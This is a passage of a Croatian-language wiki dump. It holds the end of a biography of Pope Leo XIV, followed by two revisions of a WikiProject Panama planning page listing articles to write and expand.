[[papa]] [[Rimokatolička crkva|Rimokatoličke crkve]] te aktualni državni poglavar [[Vatikan]]a. Za papu je izabran [[8. svibnja]] [[2025.]] godine kao nasljednik [[Franjo (papa)|pape Franje]]. Rođen u [[Chicago|Chicagu]]<ref name="FitzPatrick 2025">{{cite news |last=FitzPatrick |first=Lauren |date=May 3, 2025 |title=From Chicago's south suburbs to helping choose the next pope |url=https://chicago.suntimes.com/religion/2025/05/03/robert-prevost-pope-francis-conclave-catholic-church-dolton-saint-mary-assumption-parish |url-status=dead |archive-url=https://web.archive.org/web/20250508173008/https://chicago.suntimes.com/religion/2025/05/03/robert-prevost-pope-francis-conclave-catholic-church-dolton-saint-mary-assumption-parish |archive-date=May 8, 2025 |access-date=May 8, 2025 |newspaper=[[Chicago Sun-Times]]}}</ref><ref name="Bosman 2025">{{cite news |last=Bosman |first=Julie |date=May 8, 2025 |title=Pope Leo XIV Grew Up in the Chicago Area |url=https://www.nytimes.com/2025/05/08/us/pope-leo-xiv-chicago.html |url-access=subscription |url-status=dead |archive-url=https://web.archive.org/web/20250508204328/https://www.nytimes.com/2025/05/08/us/pope-leo-xiv-chicago.html |archive-date=May 8, 2025 |access-date=May 8, 2025 |work=[[The New York Times]] |issn=0362-4331}}</ref><ref>{{cite news |last1=Ward |first1=Joe |last2=Mercado |first2=Melody |last3=Hernandez |first3=Alex V. |last4=Filbin |first4=Patrick |date=May 8, 2025 |title=Pope Leo XIV Named First American Pope — And He's From Chicago |url=https://blockclubchicago.org/2025/05/08/pope-leo-xiv-named-first-american-pope-and-hes-from-chicago/ |url-status=dead |archive-url=https://web.archive.org/web/20250508184055/https://blockclubchicago.org/2025/05/08/pope-leo-xiv-named-first-american-pope-and-hes-from-chicago/ |archive-date=May 8, 2025 |access-date=May 8, 2025 |newspaper=[[Block Club Chicago]]}}</ref> kao najmlađe dijete bibliotekarke Mildred (''née'' Martínez) Prevost<ref>{{Cite magazine |last=Burack |first=Emily |date=May 8, 2025 |title=A Guide to Pope Leo XIV's Family |url=https://www.townandcountrymag.com/society/money-and-power/a64716116/pope-leo-xiv-family-explained/ |url-status=dead |archive-url=https://web.archive.org/web/20250509092128/https://www.townandcountrymag.com/society/money-and-power/a64716116/pope-leo-xiv-family-explained/ |archive-date=May 9, 2025 |access-date=May 8, 2025 |magazine=[[Town & Country (magazine)|Town & Country]]}}</ref><ref name="Chicago Tribune-1990">{{cite news |date=June 20, 1990 |title=Obituary for Mildred Prevost |url=https://www.newspapers.com/article/chicago-tribune-obituary-for-mildred-pre/171971476/ |archive-url=https://web.archive.org/web/20250508210650/https://www.newspapers.com/article/chicago-tribune-obituary-for-mildred-pre/171971476/ |archive-date=May 8, 2025 |access-date=May 9, 2025 |work=[[Chicago Tribune]] |page=28 |via=newspapers.com}}</ref> i mornaričkog veterana Louisa Mariusa Prevosta;<ref name="Chicago Tribune-1997">{{Cite web |date=November 10, 1997 |title=Obituary for Louis M. PREVOST |url=https://www.newspapers.com/article/chicago-tribune-obituary-for-louis-m-pr/171963827/ |archive-url=https://web.archive.org/web/20250508202031/https://www.newspapers.com/article/chicago-tribune-obituary-for-louis-m-pr/171963827/ |archive-date=May 8, 2025 |access-date=May 8, 2025 |page=6 |via=[[Newspapers.com]] |newspaper=[[Chicago Tribune]]}}</ref><ref>{{cite news |last=de Senneville |first=Loup Besmond |date=January 30, 2023 |title=Démission du cardinal Ouellet : un évêque américain placé à la tête du dicastère pour les évêques |trans-title=Resignation of Cardinal Ouellet: an American bishop appointed to head the dicastery for bishops |url=https://www.la-croix.com/Religion/Demission-cardinal-Ouellet-eveque-americain-place-tete-dicastere-eveques-2023-01-30-1201252968 |url-status=dead |archive-url=https://web.archive.org/web/20250508201838/https://www.la-croix.com/Religion/Demission-cardinal-Ouellet-eveque-americain-place-tete-dicastere-eveques-2023-01-30-1201252968 |archive-date=May 8, 2025 |access-date=May 8, 2025 |newspaper=[[La Croix (newspaper)|La Croix]] |language=fr}}</ref> starija braća zovu mu se Louis i John.<ref name="FitzPatrick 2025"/> Na početku klerikarne karijere pristupio je redu [[Augustinski heremiti|augustinaca]]. Od [[1985.]] do [[1986.]] te opet od [[1988.]] do [[1998.]], ekstenzivno je služio u [[Peru]]u, čije je državljanstvo dobio, objašajući dužnosti pastora, crkvenog službenika, predavača i administratora. Od [[2001.]] do [[2013.]] bio je [[prior]] augustinskog reda, nakon čega se vratio u Peru kao [[biskup]] [[Chiclayo|Chiclaya]] ([[2015.]] – [[2023.]]). Godine [[2023.]], papa Franjo imenovao ga je prefektom [[Biskupski dikasterij|biskupskog dikasterija]] i predsjednikom papinske komisije za [[Latinska Amerika|Latinsku Ameriku]], a iste godine postavio ga je za [[kardinal]]a. Prevost ima dvojno [[SAD|američko]]-[[peru]]ansko državljanstvo te je tako prvi papa u historiji koji dolazi iz [[SAD|Sjedinjenih Država]], odnosno [[Sjeverna Amerika|Sjeverne Amerike]]. Ujedno je i prvi papa augustinac, odnosno sedmi koji poštuje [[Red regularnih kanonika sv. Augustina|pravila svetog Augustina]].<ref>{{cite web |last=Giesen |first=Greg |date=May 8, 2025 |title=Pope Leo XIV is first Augustinian pope. What is the Augustinian order? |url=https://www.yahoo.com/news/pope-leo-xiv-first-augustinian-194122012.html |access-date=May 9, 2025 |website=[[Delaware News Journal]] |via=[[Yahoo News]]}}</ref><ref>{{cite web |last=Byfield |first=Erica |date=May 8, 2025 |title=What is the Order of St. Augustine, which counts Pope Leo XIV as a member? |url=https://www.nbcnewyork.com/news/what-is-the-order-of-st-augustine-pope-leo-xiv/6257174/ |access-date=May 9, 2025 |website=[[NBC New York]]}}</ref> Njegovo je episkopalno geslo ''In illo uno unum''.<ref>{{cite web | url=https://collegeofcardinalsreport.com/cardinals/robert-francis-prevost/ | title=Cardinal Robert Francis Prevost, O.S.A. | date=July 8, 2024 | access-date=2025-05-09 | archive-date=2025-05-09 | archive-url=https://web.archive.org/web/20250509091156/https://collegeofcardinalsreport.com/cardinals/robert-francis-prevost/ | url-status=dead }}</ref> == Reference == {{reflist}} == Vanjske veze == * {{commonscat-inline}} * [https://press.vatican.va/content/salastampa/en/documentation/cardinali_biografie/cardinali_bio_prevost_rf.html Prevost Card. Robert Francis, O.S.A.]. [[Holy See Press Office]]. [https://web.archive.org/web/20231001025735/https://press.vatican.va/content/salastampa/en/documentation/cardinali_biografie/cardinali_bio_prevost_rf.html Archived] from the original on October 1, 2023 * {{cite web | website = Diocese of Chiclayo | url = http://www.diocesischiclayo.org/biografia-del-obispo/ | language = es | title = Biografía de Monseñor Robert Francis Prevost Martínez O.S.A. | url-status = live | archive-url = https://web.archive.org/web/20200922133231/http://www.diocesischiclayo.org/biografia-del-obispo/ | archive-date= September 22, 2020 }} * [https://collegeofcardinalsreport.com/cardinals/robert-francis-prevost/ The College of Cardinals Report: Cardinal Robert Francis Prevost, O.S.A] {{Webarchive|url=https://web.archive.org/web/20250509091156/https://collegeofcardinalsreport.com/cardinals/robert-francis-prevost/ |date=2025-05-09 }} {{Pape}} {{Authority control}} {{Životni vijek|1955||Lav 14}} [[Kategorija:Pape]] [[Kategorija:Američki katolički svećenici]] [[Kategorija:Biografije, Peru]] [[Kategorija:Biografije, Chicago]] bsdp3e6aan7adul8l5u00bb2yat9pei 4 4716363 42602548 42602142 2026-05-27T13:34:21Z Edgar Allan Poe 29250 42602548 wikitext text/x-wiki {| width=75% valign="top" style="background:#CE1126; color: white; border-right-width:2px; border-bottom-width:2px; border: Solid #002B7F 1px; text-align: center; font-size: 160%; margin: 0 auto" | Wikiprojekt države - '''Panama''' |} {| id="mp-upper" style="width: 100%; margin:4px 0 0 0; background:none; border-spacing: 0px;" | class="MainPageBG" style="width:50%; border:1px solid #002B7F; background:white; vertical-align:top; color:#000;" | {| id="mp-left" style="vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-tfa-h2" style="margin:3px; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Panama.svg|18px]] Članci koje treba napisati</h2> |- | style="color:#000;" | <div id="mp-tfa" style="padding:2px 5px"> {|class="wikitable sortable" |- bgcolor=lightblue | <div align="center"><small>'''Broj'''</small></div> || <div align="center">'''Članak'''</div> || <div align="center">Članak na drugom jeziku</div> || <div align="center">Opis</div> || <div align="center">Riješeno </div> |- | '''1.''' || "[[Himno Istmeño]]" || [[w:en:Himno Istmeño]] || himna || <div align="center">{{kvačica}}</div> |- | '''2.''' || [[Narodna skupština (Panama)]] || [[w:en:National Assembly (Panama)]] || politika || <div align="center">{{kvačica}}</div> |- | '''3.''' || [[Predsjednik Paname]] || [[w:es:Presidente de Panamá]] || politika || <div align="center">{{kvačica}}</div> |- | '''4.''' || [[Ustav Paname]] || [[w:en:Constitution of Panama]] || pravo || <div align="center">{{kvačica}}</div> |- | '''5.''' || [[Panamska balboa]] || [[w:en:Panamanian balboa]] || valuta || <div align="center">{{kvačica}}</div> |- | '''6.''' || [[Akt o nezavisnosti Paname]] || [[w:en:Independence Act of Panama]] || historija || <div align="center"></div> |- | '''7.''' || [[Nezavisnost Paname]] || [[w:en:Independence of Panama from Spain]] || historija || <div align="center"></div> |- | '''8.''' || [[Gran Coclé]] || [[w:en:Gran Coclé]] || historija || <div align="center"></div> |- | '''9.''' || [[Rodrigo de Bastidas]] || [[w:en:Rodrigo de Bastidas]] || istraživač || <div align="center"></div> |- | '''10.''' || [[Pedro Arias Dávila]] || [[w:en:Pedro Arias Dávila]] || politika || <div align="center"></div> |- | '''11.''' || [[Castilla de Oro]] || [[w:en:Castilla de Oro]] || historija || <div align="center"></div> |- | '''12.''' || [[Drakeov napad na Panamu]] || [[w:en:Drake's Assault on Panama]] || historija || <div align="center"></div> |- | '''13.''' || [[Dariénska spletka]] || [[w:en:Darien scheme]] || historija || <div align="center"></div> |- | '''14.''' || [[Pljačka Paname]] || [[w:en:Henry Morgan's Panama expedition]] || historija || <div align="center"></div> |- | '''15.''' || [[Mariano Arosemena]] || [[w:en:Mariano Arosemena]] || pisac || <div align="center"></div> |- | '''16.''' || [[Panama (savezna država)]] || [[w:en:Panama State]] || historija || <div align="center"></div> |- | '''17.''' || [[Panama (departman)]] || [[w:en:Panama Department (1886)]] || historija || <div align="center"></div> |- | '''18.''' || [[Odcjepljenje Paname od Kolumbije]] || [[w:en:Secession of Panama from Colombia]] || historija || <div align="center"></div> |- | '''19.''' || [[Sporazum Hay–Bunau-Varilla]] || [[w:en:Hay–Bunau-Varilla Treaty]] || historija || <div align="center"></div> |- | '''20.''' || [[Philippe Bunau-Varilla]] || [[w:en:Philippe Bunau-Varilla]] || politika || <div align="center"></div> |- | '''21.''' || [[Manuel Amador Guerrero]] || [[w:en:Manuel Amador Guerrero]] || politika || <div align="center"></div> |- | '''22.''' || [[Tomás de Herrera]] || [[w:en:Tomás de Herrera]] || politika || <div align="center"></div> |- | '''23.''' || [[Slobodna Država Prevlake]] || [[w:es:Estado del Istmo]] || historija || <div align="center"></div> |- | '''24.''' || [[Panamska kriza 1885.]] || [[w:en:Panama crisis of 1885]] || historija || <div align="center"></div> |- | '''25.''' || [[Tisućudnevni rat]] || [[w:en:Thousand Days' War]] || historija || <div align="center"></div> |- | '''26.''' || [[Zona Panamskog kanala]] || [[w:en:Panama Canal Zone]] || historija || <div align="center"></div> |- | '''27.''' || [[José Raúl Mulino]] || [[w:en:José Raúl Mulino]] || politika || <div align="center">{{kvačica}}</div> |- | '''28.''' || [[Demetrio H. Brid]] || [[w:en:Demetrio H. Brid]] || politika || <div align="center"></div> |- | '''29.''' || {{nowrap|[[Privremena vladina hunta (Panama)]]}} || {{nowrap|[[w:es:Junta Provisional de Gobierno de Panamá]]}} || historija || <div align="center"></div> |- | '''30.''' || [[Državni udar u Panami 1968.]] || [[w:en:1968 Panamanian coup d'état]] || historija || <div align="center"></div> |- | '''31.''' || [[Guillermo Endara]] || [[w:en:Guillermo Endara]] || politika || <div align="center"></div> |- | '''32.''' || [[Opći izbori u Panami 1968.]] || [[w:en:1968 Panamanian general election]] || historija || <div align="center"></div> |- | '''33.''' || [[Arnulfo Arias]] || [[w:en:Arnulfo Arias]] || politika || <div align="center"></div> |- | '''34.''' || [[Sporazumi Torrijos–Carter]] || [[w:en:Torrijos–Carter Treaties]] || historija || <div align="center"></div> |- | '''35.''' || [[Barú]] || [[w:en:Volcán Barú]] || geografija || <div align="center"></div> |- | '''36.''' || [[Transpanamski cjevovod]] || [[w:en:Trans-Panama pipeline]] || ekonomija || <div align="center"></div> |- | '''37.''' || [[Roberto Durán]] || [[w:en:Roberto Durán]] || sportaš || <div align="center">{{kvačica}}</div> |- | '''38.''' || [[Rolando Frazer]] || [[w:en:Rolando Frazer]] || sportaš || <div align="center">{{kvačica}}</div> |- | '''39.''' || [[Rubén Blades]] || [[w:en:Rubén Blades]] || muzičar || <div align="center"></div> |- | '''40.''' || [[Rukometna reprezentacija Paname]] || — || sport || <div align="center">{{kvačica}}</div> |- | '''41.''' || [[Košarkaška reprezentacija Paname]] || [[w:en:Panama men's national basketball team]] || sport || <div align="center">{{kvačica}}</div> |- | '''42.''' || [[Fudbalska reprezentacija Paname]] || [[w:en:Panama national football team]] || sport || <div align="center">{{kvačica}}</div> |- | '''43.''' || [[Bejzbolska reprezentacija Paname]] || [[w:en:Panama national baseball team]] || sport || <div align="center">{{kvačica}}</div> |- | '''44.''' || [[Gonzalo Fernández de Oviedo]] || [[w:en:Gonzalo Fernández de Oviedo y Valdés]] || pisac || <div align="center"></div> |- | '''45.''' || [[Mola (tekstil)]] || [[w:en:Mola (art form)]] || umjetnost || <div align="center"></div> |- | '''46.''' || ''[[Tamborito]]'' || [[w:en:Tamborito]] || ples || <div align="center"></div> |- | '''47.''' || [[Panamska zlatna žaba]] || [[w:en:Panamanian golden frog]] || fauna || <div align="center"></div> |- | '''48.''' || [[Patuljasti troprsti ljenjivac]] || [[w:en:Pygmy three-toed sloth]] || fauna || <div align="center">{{kvačica}}</div> |- | '''49.''' || [[Vicenteova otrovna žaba]] || [[w:en:Vicente's poison frog]] || fauna || <div align="center">{{kvačica}}</div> |- | '''50.''' || ''[[Sterculia apetala]]'' || [[w:en:Sterculia apetala]] || flora || <div align="center">{{kvačica}}</div> |} </div> |} | style="border:1px solid transparent;" | | class="MainPageBG" style="width:50%; border:1px solid #002B7F; background:white; vertical-align:top;"| {| id="mp-right" style="width:100%; vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-itn-h2" style="margin:3px; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Panama.svg|18px]] Članci koje treba nadopuniti</h2> |- | style="color:#000; padding:2px 5px;" | <div id="mp-itn"> * <s>'''[[Panama]]''' :Glavni članak trebalo bi svakako proširiti da se dobije jedan respektabilan članak koji bi obuhvatio sva područja.</s> </div> |} |} {| id="mp-upper" style="width: 100%; margin:4px 0 0 0; background:none; border-spacing: 0px;" | class="MainPageBG" style="width:50%; border:1px solid #002B7F; background:white; vertical-align:top; color:#000;" | {| id="mp-left" style="vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-tfa-h2" style="margin:3px; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Panama.svg|18px]] Dodatni članci</h2> |- | style="color:#000;" | <div id="mp-tfa" style="padding:2px 5px"> Ovdje će se unositi oni članci koji nisu na popisu iznad, a napisani su u sklopu sređivanja članaka o Panami. Svaki suradnik koji napiše ili zna da je takav članak napisan može u tablicu dodati podatke. {|class="wikitable sortable" |- bgcolor=lightblue | <div align="center"><small>'''Broj'''</small></div> || <div align="center">'''Članak'''</div> || <div align="center">Članak na drugom jeziku</div> || <div align="center">Opis</div> || <div align="center">Riješeno </div> |- | '''1.''' || {{nowrap|[[Narodna skupština predstavnika corregimienta|Narodna skupština predstavnika ''corregimienta'']]}} || {{nowrap|[[w:es:Asamblea Nacional de Representantes de Corregimientos]]}} || historija || <div align="center">{{kvačica}}</div> |- | '''2.''' || [[Corregimiento (Panama)]] || [[w:en:Corregimientos of Panama]] || uprava || <div align="center">{{kvačica}}</div> |- | '''3.''' || [[Vojna diktatura u Panami]] || [[w:es:Dictadura militar en Panamá]] || historija || <div align="center"></div> |- | '''4.''' || [[Vrhovni sud pravde (Panama)]] || [[w:es:Corte Suprema de Justicia de Panamá]] || pravo || <div align="center">{{kvačica}}</div> |- | '''5.''' || {{nowrap|[[Kolonijalne međuokeanske rute u Panami]]}} || {{nowrap|[[w:en:The Colonial Transisthmian Route of Panamá]]}} || historija || <div align="center">{{kvačica}}</div> |- | '''6.''' || [[Univerzitet u Panami]] || [[w:en:University of Panama]] || obrazovanje || <div align="center">{{kvačica}}</div> |- | '''7.''' || ''[[Peristeria elata]]'' || [[w:en:Peristeria elata]] || flora || <div align="center">{{kvačica}}</div> |- | '''8.''' || [[Harpija (ptica)]] || [[w:en:Harpy eagle]] || fauna || <div align="center">{{kvačica}}</div> |- | '''9.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''10.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''11.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''12.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''13.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''14.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''15.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''16.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''17.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''18.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''19.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''20.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''21.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''22.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''23.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''24.''' || [[]] || [[w:en:]] || || <div align="center"></div> |- | '''25.''' || [[]] || [[w:en:]] || || <div align="center"></div> |} </div> |} | style="border:1px solid transparent;" | | class="MainPageBG" style="width:50%; border:1px solid #002B7F; background:white; vertical-align:top;"| {| id="mp-right" style="width:100%; vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-itn-h2" style="margin:3px; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Panama.svg|18px]] Poslovi kategorizacije i stilizacije</h2> |- | style="color:#000; padding:2px 5px;" | <div id="mp-itn"> *'''[[:Kategorija:Panama]]''' :Sve članke u ovoj kategoriji valjalo bi propisno kategorizirati. Nekoliko novih kategorija svakako se može i treba otvoriti, članci koji su u glavnoj kategoriji, a mogu u potkategorije tamo trebaju i biti postavljeni. I *'''Šabloni''' :Na sve pripadajuče članke, valjalo bi dodati šablone koji se koriste za te vrste članaka (šablon o gradovima za gradove, političarima za političate, ''etc.'') kako bi se povećala kvaliteta postojećih članaka. </div> |} |} {| id="mp-upper" style="width:100%; margin:4px 0 0 0; background:none; border-spacing: 0px;" | class="MainPageBG" style="width:100%; border:1px solid #002B7F; background:white; vertical-align:top; color:#000;" | {| id="mp-left" style="vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-tfa-h2" style="margin:3px; width:100%; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Costa Rica.svg|18px]] Dodatno, zahtjevi, želje, ...</h2> |- | style="color:#000;" | <div id="mp-tfa" style="padding:2px 5px; width:100%"> Ovdje se mogu unositi sve vrste želja, zahtjeva i zamolbi koje bi bilo koji suradnik imao prema sudionicima na projektu, a vezane su uz Panamu. </div> |} |} __NOTOC__ __NOEDITSECTION__ [[Kategorija:Wikiprojekt države|P]] 6g7qhrl64n0g7l7rvaeuwb0sasvggac 42602566 42602548 2026-05-27T15:22:32Z Edgar Allan Poe 29250 42602566 wikitext text/x-wiki {| width=75% valign="top" style="background:#CE1126; color: white; border-right-width:2px; border-bottom-width:2px; border: Solid #002B7F 1px; text-align: center; font-size: 160%; margin: 0 auto" | Wikiprojekt države - '''Panama''' |} {| id="mp-upper" style="width: 100%; margin:4px 0 0 0; background:none; border-spacing: 0px;" | class="MainPageBG" style="width:50%; border:1px solid #002B7F; background:white; vertical-align:top; color:#000;" | {| id="mp-left" style="vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-tfa-h2" style="margin:3px; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Panama.svg|18px]] Članci koje treba napisati</h2> |- | style="color:#000;" | <div id="mp-tfa" style="padding:2px 5px"> {|class="wikitable sortable" |- bgcolor=lightblue | <div align="center"><small>'''Broj'''</small></div> || <div align="center">'''Članak'''</div> || <div align="center">Članak na drugom jeziku</div> || <div align="center">Opis</div> || <div align="center">Riješeno </div> |- | '''1.''' || "[[Himno Istmeño]]" || [[w:en:Himno Istmeño]] || himna || <div align="center">{{kvačica}}</div> |- | '''2.''' || [[Narodna skupština (Panama)]] || [[w:en:National Assembly (Panama)]] || politika || <div align="center">{{kvačica}}</div> |- | '''3.''' || [[Predsjednik Paname]] || [[w:es:Presidente de Panamá]] || politika || <div align="center">{{kvačica}}</div> |- | '''4.''' || [[Ustav Paname]] || [[w:en:Constitution of Panama]] || pravo || <div align="center">{{kvačica}}</div> |- | '''5.''' || [[Panamska balboa]] || [[w:en:Panamanian balboa]] || valuta || <div align="center">{{kvačica}}</div> |- | '''6.''' || [[Akt o nezavisnosti Paname]] || [[w:en:Independence Act of Panama]] || historija || <div align="center"></div> |- | '''7.''' || [[Nezavisnost Paname]] || [[w:en:Independence of Panama from Spain]] || historija || <div align="center"></div> |- | '''8.''' || [[Gran Coclé]] || [[w:en:Gran Coclé]] || historija || <div align="center"></div> |- | '''9.''' || [[Rodrigo de Bastidas]] || [[w:en:Rodrigo de Bastidas]] || istraživač || <div align="center"></div> |- | '''10.''' || [[Pedro Arias Dávila]] || [[w:en:Pedro Arias Dávila]] || politika || <div align="center"></div> |- | '''11.''' || [[Castilla de Oro]] || [[w:en:Castilla de Oro]] || historija || <div align="center"></div> |- | '''12.''' || [[Drakeov napad na Panamu]] || [[w:en:Drake's Assault on Panama]] || historija || <div align="center"></div> |- | '''13.''' || [[Dariénska spletka]] || [[w:en:Darien scheme]] || historija || <div align="center"></div> |- | '''14.''' || [[Pljačka Paname]] || [[w:en:Henry Morgan's Panama expedition]] || historija || <div align="center"></div> |- | '''15.''' || [[Mariano Arosemena]] || [[w:en:Mariano Arosemena]] || pisac || <div align="center"></div> |- | '''16.''' || [[Panama (savezna država)]] || [[w:en:Panama State]] || historija || <div align="center"></div> |- | '''17.''' || [[Panama (departman)]] || [[w:en:Panama Department (1886)]] || historija || <div align="center"></div> |- | '''18.''' || [[Odcjepljenje Paname od Kolumbije]] || [[w:en:Secession of Panama from Colombia]] || historija || <div align="center"></div> |- | '''19.''' || [[Sporazum Hay–Bunau-Varilla]] || [[w:en:Hay–Bunau-Varilla Treaty]] || historija || <div align="center"></div> |- | '''20.''' || [[Philippe Bunau-Varilla]] || [[w:en:Philippe Bunau-Varilla]] || politika || <div align="center"></div> |- | '''21.''' || [[Manuel Amador Guerrero]] || [[w:en:Manuel Amador Guerrero]] || politika || <div align="center"></div> |- | '''22.''' || [[Tomás de Herrera]] || [[w:en:Tomás de Herrera]] || politika || <div align="center"></div> |- | '''23.''' || [[Slobodna Država Prevlake]] || [[w:es:Estado del Istmo]] || historija || <div align="center"></div> |- | '''24.''' || [[Panamska kriza 1885.]] || [[w:en:Panama crisis of 1885]] || historija || <div align="center"></div> |- | '''25.''' || [[Tisućudnevni rat]] || [[w:en:Thousand Days' War]] || historija || <div align="center"></div> |- | '''26.''' || [[Zona Panamskog kanala]] || [[w:en:Panama Canal Zone]] || historija || <div align="center"></div> |- | '''27.''' || [[José Raúl Mulino]] || [[w:en:José Raúl Mulino]] || politika || <div align="center">{{kvačica}}</div> |- | '''28.''' || [[Demetrio H. Brid]] || [[w:en:Demetrio H. Brid]] || politika || <div align="center"></div> |- | '''29.''' || {{nowrap|[[Privremena vladina hunta (Panama)]]}} || {{nowrap|[[w:es:Junta Provisional de Gobierno de Panamá]]}} || historija || <div align="center"></div> |- | '''30.''' || [[Državni udar u Panami 1968.]] || [[w:en:1968 Panamanian coup d'état]] || historija || <div align="center"></div> |- | '''31.''' || [[Guillermo Endara]] || [[w:en:Guillermo Endara]] || politika || <div align="center"></div> |- | '''32.''' || [[Opći izbori u Panami 1968.]] || [[w:en:1968 Panamanian general election]] || historija || <div align="center"></div> |- | '''33.''' || [[Arnulfo Arias]] || [[w:en:Arnulfo Arias]] || politika || <div align="center"></div> |- | '''34.''' || [[Sporazumi Torrijos–Carter]] || [[w:en:Torrijos–Carter Treaties]] || historija || <div align="center"></div> |- | '''35.''' || [[Barú]] || [[w:en:Volcán Barú]] || geografija || <div align="center"></div> |- | '''36.''' || [[Transpanamski cjevovod]] || [[w:en:Trans-Panama pipeline]] || ekonomija || <div align="center"></div> |- | '''37.''' || [[Roberto Durán]] || [[w:en:Roberto Durán]] || sportaš || <div align="center">{{kvačica}}</div> |- | '''38.''' || [[Rolando Frazer]] || [[w:en:Rolando Frazer]] || sportaš || <div align="center">{{kvačica}}</div> |- | '''39.''' || [[Rubén Blades]] || [[w:en:Rubén Blades]] || muzičar || <div align="center"></div> |- | '''40.''' || [[Rukometna reprezentacija Paname]] || — || sport || <div align="center">{{kvačica}}</div> |- | '''41.''' || [[Košarkaška reprezentacija Paname]] || [[w:en:Panama men's national basketball team]] || sport || <div align="center">{{kvačica}}</div> |- | '''42.''' || [[Fudbalska reprezentacija Paname]] || [[w:en:Panama national football team]] || sport || <div align="center">{{kvačica}}</div> |- | '''43.''' || [[Bejzbolska reprezentacija Paname]] || [[w:en:Panama national baseball team]] || sport || <div align="center">{{kvačica}}</div> |- | '''44.''' || [[Gonzalo Fernández de Oviedo]] || [[w:en:Gonzalo Fernández de Oviedo y Valdés]] || pisac || <div align="center"></div> |- | '''45.''' || [[Mola (tekstil)]] || [[w:en:Mola (art form)]] || umjetnost || <div align="center"></div> |- | '''46.''' || ''[[Tamborito]]'' || [[w:en:Tamborito]] || ples || <div align="center"></div> |- | '''47.''' || [[Panamska zlatna žaba]] || [[w:en:Panamanian golden frog]] || fauna || <div align="center"></div> |- | '''48.''' || [[Patuljasti troprsti ljenjivac]] || [[w:en:Pygmy three-toed sloth]] || fauna || <div align="center">{{kvačica}}</div> |- | '''49.''' || [[Vicenteova otrovna žaba]] || [[w:en:Vicente's poison frog]] || fauna || <div align="center">{{kvačica}}</div> |- | '''50.''' || ''[[Sterculia apetala]]'' || [[w:en:Sterculia apetala]] || flora || <div align="center">{{kvačica}}</div> |} </div> |} | style="border:1px solid transparent;" | | class="MainPageBG" style="width:50%; border:1px solid #002B7F; background:white; vertical-align:top;"| {| id="mp-right" style="width:100%; vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-itn-h2" style="margin:3px; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Panama.svg|18px]] Članci koje treba nadopuniti</h2> |- | style="color:#000; padding:2px 5px;" | <div id="mp-itn"> * <s>'''[[Panama]]''' :Glavni članak trebalo bi svakako proširiti da se dobije jedan respektabilan članak koji bi obuhvatio sva područja.</s> </div> |} |} {| id="mp-upper" style="width: 100%; margin:4px 0 0 0; background:none; border-spacing: 0px;" | class="MainPageBG" style="width:50%; border:1px solid #002B7F; background:white; vertical-align:top; color:#000;" | {| id="mp-left" style="vertical-align:top; background:white;" ! style="padding:2px;" | <h2 id="mp-tfa-h2" style="margin:3px; background:#CE1126; font-size:120%; font-weight:bold; border:1px solid #002B7F; text-align:left; color:white; padding:0.2em 0.4em;">[[File:Coat of arms of Panama.svg|18px]] Dodatni članci</h2> |- | style="color:#000;" | <div id="mp-tfa" style="padding:2px 5px"> Ovdje će se unositi oni članci koji nisu na popisu iznad, a napisani su u sklopu sređivanja članaka o Panami. Svaki suradnik koji napiše ili zna da je takav članak napisan može u tablicu dodati podatke. {|class="wikitable sortable" |- bgcolor=lightblue | <div align="center"><small>'''Broj'''</small></div> || <div align="center">'''Članak'''</div> || <div align="center">Članak na drugom jeziku</div> || <div align="center">Opis</div> || <div align="center">Riješeno </div> |- | '''1.''' || {{nowrap|[[Narodna skupština predstavnika corregimienta|Narodna skupština predstavnika ''corregimienta'']]}} || {{nowrap|[[w:es:Asamblea Nacional de Representantes de Corregimientos]]}} || historija || <div align="center">{{kvačica}}</div> |- | '''2.''' || [[Corregimiento (Panama)]] || [[w:en:Corregimientos of Panama]] || uprava || <div align="center">{{kvačica}}</div> |- | '''3.''' || [[Vojna diktatura u Panami]] || [[w:es:Dictadura militar en Panamá]] || historija || <div align="center"></div> |- | '''4.''' || [[Vrhovni sud pravde (Panama)]] || [[w:es:Corte Suprema de Justicia de Panamá]] || pravo || <div align="center">{{kvačica}}</div> |- | '''5.''' || {{nowrap|[[Kolonijalne međuokeanske rute u Panami]]}} || {{nowrap|[[w:en:The Colonial Transisthmian Route of Panamá]]}} || historija || <div align="center">{{kvačica}}</div> |- | '''6.''' || [[Univerzitet u Panami]] || [[w:en:University of Panama]] || obrazovanje || <div align="center">{{kvačica}}</div> |- | '''7.''' || ''[[Peristeria elata]]'' || 